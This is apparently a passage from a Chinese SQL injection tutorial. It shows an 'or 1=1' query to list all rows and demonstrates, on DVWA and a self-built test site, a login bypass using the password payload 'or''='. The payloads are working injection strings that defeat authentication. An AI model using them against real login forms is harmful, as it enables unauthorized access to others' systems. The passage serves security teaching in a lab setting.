1 遍历所有数据库内容, 并列出。
select user from users where user id = 1 or 1 = 1;
dvwa测试如下:
2 实战演示
2.1在我们搭建的网站中,输入用户名admin\' 发现可以被带到后台数据库中执行,并产生以下报错信息
- \'user_id=\'admin\'\' And password=\'122223\'\'将其修改为一条符合数据库逻辑的执行语句
- \'user_id=\'随意写\' And password=\'\'or\'\'=\'\' #这条语句表示无论前面的正确与否,后面的\'\'=\'\'永远为真
在用户名中随意填写,密码输入 \'or\'\'=\' 就实现了后台的登录。我们构造了一个特殊的参数,是原有的查询账号的逻辑发生错误,绕过认证登录系统。相当于构造了这样一条SQL语句:
select user,password from user where user_id = \'随意写\' and password=\'\'or\'\'=\'\'